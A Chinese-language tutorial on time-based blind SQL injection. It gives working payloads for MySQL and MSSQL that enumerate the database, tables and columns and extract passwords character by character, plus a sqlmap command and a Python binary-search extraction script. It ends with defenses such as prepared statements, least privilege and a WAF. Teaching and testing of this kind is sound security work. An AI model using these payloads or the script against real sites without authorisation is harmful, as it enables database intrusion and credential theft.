SQL注入之时间盲注攻击流程详解
目录
一、时间盲注原理
二、完整攻击流程
1. 注入点确认
2. 基础条件判断
3. 系统信息收集
(1)获取数据库版本
(2)获取当前数据库名
4. 数据提取技术
(1)表名枚举
(2)列名猜测
(3)逐字符数据提取
5. 自动化优化技巧
(1)二分法加速判断
(2)多线程爆破
三、工具辅助利用
1. SQLMap自动化注入
2. 手动脚本示例(Python)
四、防御方案
五、时间盲注 vs 报错注入
六、总结
一、时间盲注原理
时间盲注(Time-Based Blind SQL Injection)是SQL注入的高级利用方式,适用于以下场景:
- 页面无数据回显(无显示位)
- 数据库错误信息被屏蔽
- HTTP响应状态码统一(无布尔型注入条件)
核心原理:通过构造带有时间延迟函数的SQL语句,根据页面响应时间判断注入条件是否成立。例如:
' AND IF(1=1, SLEEP(5), 0) --
若页面响应延迟5秒,则说明条件成立(1=1为真)。
二、完整攻击流程
1. 注入点确认
目标:验证是否存在时间盲注漏洞
Payload构造:
' AND SLEEP(5) --
或
' ; WAITFOR DELAY '0:0:5' -- (MSSQL)
判断依据:
- 正常请求响应时间 < 1秒
- 注入后响应时间 ≥ 5秒则存在漏洞
2. 基础条件判断
目标:通过延迟验证布尔条件
示例(MySQL):
' AND IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(3), 0) --
- 若页面延迟3秒,说明当前数据库首字母ASCII码 > 100(即字母为'e',ASCII 101)
- 可逐步调整阈值(二分法)快速定位准确值
3. 系统信息收集
(1)获取数据库版本
' AND IF(ASCII(SUBSTR(@@version,1,1))=53, SLEEP(3),0) --
判断版本首字符是否为'5'(ASCII 53),对应MySQL 5.x版本
(2)获取当前数据库名
' AND IF(ASCII(SUBSTR(database(),1,1))=100, SLEEP(3),0) --
通过逐字符判断(d的ASCII为100),最终拼接得到完整库名
4. 数据提取技术
(1)表名枚举
' AND IF(ASCII(SUBSTR(
(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)
,1,1))=117, SLEEP(3),0) --
验证首个表名的首字母是否为'u'(ASCII 117),即常见users表
(2)列名猜测
' AND IF(ASCII(SUBSTR(
(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)
,1,1))=105, SLEEP(3),0) --
判断users表首列首字母是否为'i'(id列)
(3)逐字符数据提取
' AND IF(ASCII(SUBSTR(
(SELECT password FROM users LIMIT 0,1)
,1,1))=97, SLEEP(3),0) --
判断首行密码首字符是否为'a'(ASCII 97)
5. 自动化优化技巧
(1)二分法加速判断
- 代替逐次遍历(0-255),采用二分法(每次缩小一半范围)
- 例:判断ASCII值是否>128 → 是则范围缩小到128-255
(2)多线程爆破
- 对多个字符位置同时发起请求
- 需注意目标服务器的并发限制
三、工具辅助利用
1. SQLMap自动化注入
sqlmap -u "http://example.com?id=1" --technique=T --time-sec=3
参数说明:
--technique=T
:指定时间盲注技术--time-sec=3
:定义延迟阈值
2. 手动脚本示例(Python)
import requests
import time
target_url = "http://example.com?id=1"
payload = "' AND IF(ASCII(SUBSTR((SELECT DATABASE()),{},1))>{},SLEEP(3),0) -- "
for position in range(1, 20):
low = 0
high = 255
while low <= high:
mid = (low + high) // 2
current_payload = payload.format(position, mid)
start_time = time.time()
requests.get(target_url + current_payload)
elapsed = time.time() - start_time
if elapsed > 3:
low = mid + 1
else:
high = mid - 1
print(f"Position {position}: {chr(high)}")
四、防御方案
-
预编译语句(Prepared Statements)
# Python示例 cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
-
输入过滤
- 白名单验证数字类型:
user_id = int(input_data)
- 过滤特殊字符:
'";<>()&|
等
- 白名单验证数字类型:
-
权限控制
- 数据库账户仅授予最小必要权限
- 禁用敏感函数(如
SLEEP()
、EXEC
)
-
WAF防护
- 部署Web应用防火墙拦截时间盲注特征
- 设置请求超时阈值(如单请求最长处理时间2秒)
五、时间盲注 vs 报错注入
对比项 | 时间盲注 | 报错注入 |
---|---|---|
适用场景 | 无任何回显 | 有错误信息回显 |
攻击速度 | 极慢(需等待延迟) | 较快 |
检测难度 | 更难被传统WAF识别 | 易被基于错误的规则检测 |
典型函数 | SLEEP()、BENCHMARK() | updatexml()、extractvalue() |
数据提取方式 | 逐字符二分法判断 | 直接显示在错误信息中 |
六、总结
时间盲注通过时间延迟作为判断依据,是渗透测试中突破无回显场景的利器。其核心在于:
- 精准的延迟控制:需考虑网络波动干扰
- 高效的字符猜测策略:优先使用二分法
- 自动化脚本辅助:手动测试效率极低